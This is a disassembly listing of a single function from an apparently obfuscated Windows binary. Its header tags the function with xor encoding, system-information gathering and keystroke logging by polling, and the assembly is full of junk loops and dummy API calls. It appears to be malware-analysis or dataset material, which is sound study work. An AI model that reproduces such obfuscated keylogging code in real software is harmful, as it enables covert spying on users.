Function at 0x10038dc3
Capabilities:
Encode data using xor
Get system information on windows
Log keystrokes via polling

Disassembly:
mov eax, 0x1005e257
call fcn.1005d3b0
sub esp, 0x190
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 0x24], 0x9cd4431f
inc esi
push 3
mov dword [ebp - 0x1c], esi
pop edi
mov dword [ebp - 0x94], ecx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x2c], 0x5943e2f7
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x48], 0x767dbf12
push edi
mov dword [ebp - 0x98], edx
call fcn.1002a6d6
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x30], 0xa5e2b195
mov dword [ebp - 0x38], 0xe904
mov dword [ebp - 0x14], ebx
jmp 0x10038e43
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10038e35
mov dword [ebp - 0x40], 0x57a
cmp dword [ebp - 0x40], 0x5e7
jle 0x10038ea7
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x20], ebx
xor eax, edi
lea ecx, [ebp - 0x160]
cdq
push edx
push eax
call fcn.1000cd20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038e79
mov eax, dword [eax]
push eax
call fcn.100480d6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x160]
call fcn.1002aa62
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x2a5a
jl 0x10038e5f
inc edi
cmp edi, 0x750a
jl 0x10038e5a
push 3
pop edi
mov dword [ebp - 0x14], ebx
jmp 0x10038eba
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10038eac
cmp dword [ebp - 0x40], 0x229
jge 0x10038ed4
push 0x1000ac48
call fcn.100480d6
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x10038eec
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x100]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10038ed9
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x60]
sub eax, 0xce3051eb
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
je 0x10038f2a
mov eax, esi
cmp dword [ebp - 0x1c], ebx
jne 0x10038f2c
mov eax, ebx
add eax, 0xf2d
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
neg eax
je 0x10038f74
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov eax, dword [ebp - 0x64]
mov edx, esi
cmp eax, 0xffffffff
setle cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jle 0x10038f76
mov edx, ebx
push 7
pop eax
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x14]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
xor edx, edx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setge dl
cmp edx, dword [ebp - 0x48]
jl 0x10038fa5
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x24], eax
jl 0x1003903b
mov dword [ebp - 0x28], 0x698b
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
jmp 0x10038fde
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x140], 0x726993c4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10038fcd
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], 0xc499
cmp dword [ebp - 0x24], ebx
jne 0x1003900b
mov eax, dword [ebp - 0x6c]
mov ecx, ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x100]
mov dword [eax], ebx
cmp dword [ebp - 0x2c], ebx
je 0x1003900d
mov ecx, esi
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x70], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x38]
jmp 0x10039054
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10039054
push 0x1172
push ebx
push 0x5bb
call dword [sym.imp.GDI32.dll_Polyline]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.1002a758
mov dword [ebp - 0x1c], 0x9cd4431f
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x2c], 0x9ad59e57
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x40], 0xcef3cf68
mov dword [ebp - 0x3c], 0xadc1094
mov dword [ebp - 0x20], 0x2883e731
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xfffffff8
push 4
call fcn.1002a6d6
mov dword [ebp - 4], edi
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x24], edi
push 2
call fcn.1002a6d6
mov byte [ebp - 4], 4
mov dword [ebp - 0x14], ebx
jmp 0x100390e3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x120]
mov dword [eax + ecx*4], 0xb0b826fb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100390d0
mov dword [ebp - 0x14], ebx
jmp 0x100390fd
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc4]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100390ee
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
je 0x10039128
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039274
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
jmp 0x10039274
mov dword [ebp - 0x38], 7
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x30], 0x19d87263
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x34], 0xbab1f35
mov dword [ebp - 0x34], 0xabed9978
push edi
call fcn.1002a6d6
mov byte [ebp - 4], 5
mov dword [ebp - 0x34], 0xd385e397
mov dword [ebp - 0x1c], ebx
jmp 0x10039179
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x12c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003916a
mov dword [ebp - 0x2c], 0xe
jmp 0x1003925c
push edi
lea ecx, [ebp - 0xe8]
call fcn.1002a6d6
mov dword [ebp - 0x14], ebx
jmp 0x100391ae
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe8]
mov dword [eax + ecx*4], 0x8ee41b66
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003919b
mov dword [ebp - 0x14], ebx
jmp 0x100391c9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x108], 0xb1b0cadf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100391b8
mov dword [ebp - 0x14], ebx
jmp 0x100391e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x138], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100391d4
mov dword [ebp - 0x38], 0x2b90
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov ecx, 0xde6b9338
setge dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0xe8]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax]
setne dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003924e
push ebx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
lea ecx, [ebp - 0xe8]
call fcn.1002a758
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 8
je 0x1003918a
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x12c]
call fcn.1002a758
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
inc dword [eax + 4]
call fcn.1002a758
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x120]
call fcn.1002a758
mov dword [ebp - 0x28], 0x5943e2f7
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x28], ebx
jmp 0x1003937f
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], 0x141a9c21
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100392dc
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x24], 0xf
jmp 0x10039372
mov dword [ebp - 0x30], 0x82ff
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x34], 0x61d594d0
mov dword [ebp - 0x1c], ebx
jmp 0x1003930f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x90], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10039302
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x8c]
mov dword [ebp - 0x20], esi
cmp eax, ecx
jle 0x10039346
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x30], 0xffffffff
jg 0x10039353
mov edx, ebx
cmp dword [ebp - 0x40], ebx
je 0x10039355
mov edx, esi
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp dword [ebp - 0x20], ecx
setg al
sub eax, 0x2314af1
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 6
jg 0x100392e8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x16
jge 0x100392c2
mov dword [ebp - 0x2c], 0xfffffffd
jmp 0x100393ac
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100393a9
push 0x219c
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffeb
jl 0x10039392
mov dword [ebp - 0x40], 0x767dbf12
lea ecx, [ebp - 0xd0]
push edi
call fcn.1002a6d6
mov dword [ebp - 4], 6
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0x6432a276
mov dword [ebp - 0x34], 0xfffffff6
push 2
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0x95010f7a
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xa23fe5e8
mov dword [ebp - 0x34], 0xd94e8fe7
mov dword [ebp - 0x34], 0xb0ad8ea5
mov dword [ebp - 0x34], 0xc266d8ff
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x1c], ebx
jmp 0x10039434
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x184], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10039427
inc dword [ebp - 0x20]
mov eax, 0xa5d6c05b
mov dword [ebp - 0x50], 0xfffffffc
mov dword [ebp - 0x34], 0xa5e2b195
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
push ecx
mov dword [ebp - 0x7c], eax
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x20], 0xc891c553
call fcn.1002a6d6
mov dword [ebp - 0x1c], ebx
jmp 0x10039489
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xdc]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10039479
mov dword [ebp - 0x7c], ebx
jmp 0x100394bd
mov dword [ebp - 0x20], 0x6e6f7fbf
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xdc]
sub ecx, 0x21f90ef3
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
dec dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 0xffffffe8
jge 0x10039494
lea ecx, [ebp - 0xdc]
call fcn.1002a758
mov dword [ebp - 0x4c], 0xe904
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], 0x526
cmp dword [ebp - 0x24], 0x896
jle 0x1003955b
mov dword [ebp - 0x38], ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, edi
mov dword [ebp - 0x30], 0x5c81
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x20], ecx
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x178]
cdq
push edx
push eax
call fcn.1000cd20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003951b
mov eax, dword [eax]
push eax
call fcn.100480d6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x178]
call fcn.1002aa62
mov ecx, dword [ebp - 0x20]
dec ecx
dec dword [ebp - 0x30]
mov dword [ebp - 0x20], ecx
jne 0x100394ff
mov edi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x2038
jl 0x100394f0
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x90d
jl 0x100394eb
push 3
pop edi
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x24], 0x3be
jge 0x10039572
push 0x1000ac80
call fcn.100480d6
pop ecx
mov dword [ebp - 4], 6
cmp byte [ebp - 0x15], 0
je 0x10039595
push ebx
push 0x1abf
push 0x16b7
push 0x1f3
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [ebp - 0x1c], 0xa
jmp 0x100395bb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100395b8
push 0x1e21
push 0x7da
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x18
je 0x1003959e
mov dword [ebp - 0x14], ebx
jmp 0x100395d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5c], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100395c6
mov dword [ebp - 0x14], ebx
jmp 0x100395ec
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x78], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100395de
mov dword [ebp - 0x14], ebx
jmp 0x1003960a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd0]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100395f7
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], 0x6375
cmp dword [ebp - 0x20], 0x6643
jle 0x1003969e
mov dword [ebp - 0x1c], ebx
mov edx, ebx
mov dword [ebp - 0x30], ebx
mov eax, ebx
mov dword [ebp - 0x38], ebx
mov edi, ebx
lea ecx, [edi + eax]
mov eax, dword [ebp - 0x1c]
add eax, edx
sar eax, cl
lea ecx, [ebp - 0x19c]
cdq
push edx
push eax
call fcn.1000cd20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039653
mov eax, dword [eax]
push eax
call fcn.100480d6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x19c]
call fcn.1002aa62
mov eax, dword [ebp - 0x38]
inc edi
mov edx, dword [ebp - 0x30]
cmp edi, 0x1bea
jl 0x10039631
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x3356
jl 0x1003962f
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x4948
jl 0x1003962a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x58b2
jl 0x10039625
push 3
pop edi
mov eax, 0xa0e60f95
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0x20], 0x61c5
jge 0x100396cf
push 0x1000acd8
call fcn.100480d6
pop ecx
mov dword [ebp - 4], 6
mov dword [ebp - 0x14], ebx
jmp 0x10039715
mov dword [ebp - 0x30], 0x48708ef6
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], ebx
jl 0x10039712
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x28], ebx
jmp 0x10039707
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xb8], 0xd29729cf
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x100396f6
dec dword [ebp - 0x30]
jns 0x100396ea
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
jg 0x100396db
mov dword [ebp - 0x14], ebx
jmp 0x10039731
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb8], 0x6b16b471
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10039720
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x54]
sub eax, 0xce3051eb
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x48]
je 0x10039770
mov eax, esi
cmp dword [ebp - 0x48], ebx
jne 0x10039772
mov eax, ebx
add eax, 0xf2d
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
neg eax
je 0x100397ba
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
mov eax, dword [ebp - 0x58]
mov edx, esi
cmp eax, 0xffffffff
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
jle 0x100397bc
mov edx, ebx
push 7
pop eax
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setge dl
cmp edx, dword [ebp - 0x40]
jl 0x100397eb
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x1c], eax
jl 0x10039bb9
mov dword [ebp - 0x38], 0x727f
cmp dword [ebp - 0x38], 0x7567
jle 0x1003984a
mov esi, ebx
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x20], ebx
add eax, edi
mov ecx, 0x10606538
xor eax, esi
cdq
push edx
push eax
call fcn.1002a5c1
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x6f12
jl 0x10039816
inc edi
cmp edi, 0x5a01
jl 0x10039811
inc esi
cmp esi, 0x6d8b
jl 0x1003980f
xor esi, esi
inc esi
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x38], 0x6f28
jge 0x10039887
mov edx, 0x1000ad18
mov ecx, 0x10606538
call fcn.1002c06b
jmp 0x10039887
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x24], 0xf6af1124
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 0xe8ce6fc2
mov dword [ebp - 0x3c], 0xffffffff
push esi
call fcn.1002a6d6
mov dword [ebp - 0x1c], ebx
jmp 0x100398d0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x114]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100398c1
mov dword [ebp - 0x24], ebx
jmp 0x100399c0
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0xc326874b
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x14], ebx
jmp 0x1003990a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf4], 0xfa75c19c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100398f9
mov dword [ebp - 0x14], ebx
jmp 0x1003991f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x44], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10039915
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], 2
jg 0x100399a9
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x3c], 0x3ec93cc2
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
xor ebx, ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
push 0
mov ecx, dword [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xf4]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle bl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xf4]
imul ecx, eax, 0x3989
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, ebx
pop ebx
setg al
neg eax
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x20]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jle 0x1003992d
mov dword [ebp - 0x14], ebx
jmp 0x100399b8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x44], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100399ae
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jne 0x100398dd
lea ecx, [ebp - 0x114]
call fcn.1002a758
mov dword [ebp - 0x30], 0x698b
mov dword [ebp - 0x1c], 0x46a3
cmp dword [ebp - 0x1c], 0x46f9
jle 0x10039a3b
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x3c], edi
xor edi, esi
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov eax, edi
mov ecx, 0x10606538
or eax, esi
cdq
push edx
push eax
call fcn.1002a5c1
inc esi
cmp esi, 0x1409
jl 0x10039a00
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x38]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x57dd
jl 0x100399f6
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x584c
jl 0x100399f1
xor esi, esi
inc esi
mov dword [ebp - 0x14], 0xfffffffe
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x1c], 0x443b
jge 0x10039a7f
mov edx, 0x1000ad80
mov ecx, 0x10606538
call fcn.1002c06b
jmp 0x10039a7f
mov dword [ebp - 0x1c], 0x7597a61e
mov dword [ebp - 0x20], 0xef7d2668
mov dword [ebp - 0x38], 0xdd8e181f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0xfffffff4
jmp 0x10039b34
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 5
cmp dword [ebp - 0x24], ebx
je 0x10039b17
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x24]
cmp ecx, 0x694a
setg al
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0xd0c1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 8
setle al
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x38], ebx
je 0x10039b17
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov ecx, 0x6979f9f4
sub ecx, eax
mov eax, 0xc701401c
add ecx, dword [ebp - 0x38]
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x2e
jl 0x10039aaf
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10039b5e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x148], 0x726993c4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10039b4d
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0xc499
cmp dword [ebp - 0x1c], ebx
jne 0x10039b8b
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ebx
cmp dword [ebp - 0x28], ebx
jne 0x10039b8b
mov esi, ebx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x78], esi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x4c]
jmp 0x10039bd3
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039bd3
push 0x1172
push ebx
push 0x5bb
call dword [sym.imp.GDI32.dll_Polyline]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd0]
call fcn.1002a758
mov dword [ebp - 0x40], 0x175a
cmp dword [ebp - 0x40], 0x17d5
jle 0x10039c53
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x4c], ebx
mov eax, esi
mov dword [ebp - 0x34], ebx
mov ecx, edi
mov esi, ebx
shl eax, cl
mov dword [ebp - 0x50], eax
mov edi, ebx
mov eax, esi
mov ecx, 0x10606538
cdq
idiv edi
or edx, dword [ebp - 0x50]
mov eax, edx
cdq
push edx
push eax
call fcn.1002a5c1
inc edi
cmp edi, 0x6566
jl 0x10039c0c
inc esi
cmp esi, 0x5add
jl 0x10039c0a
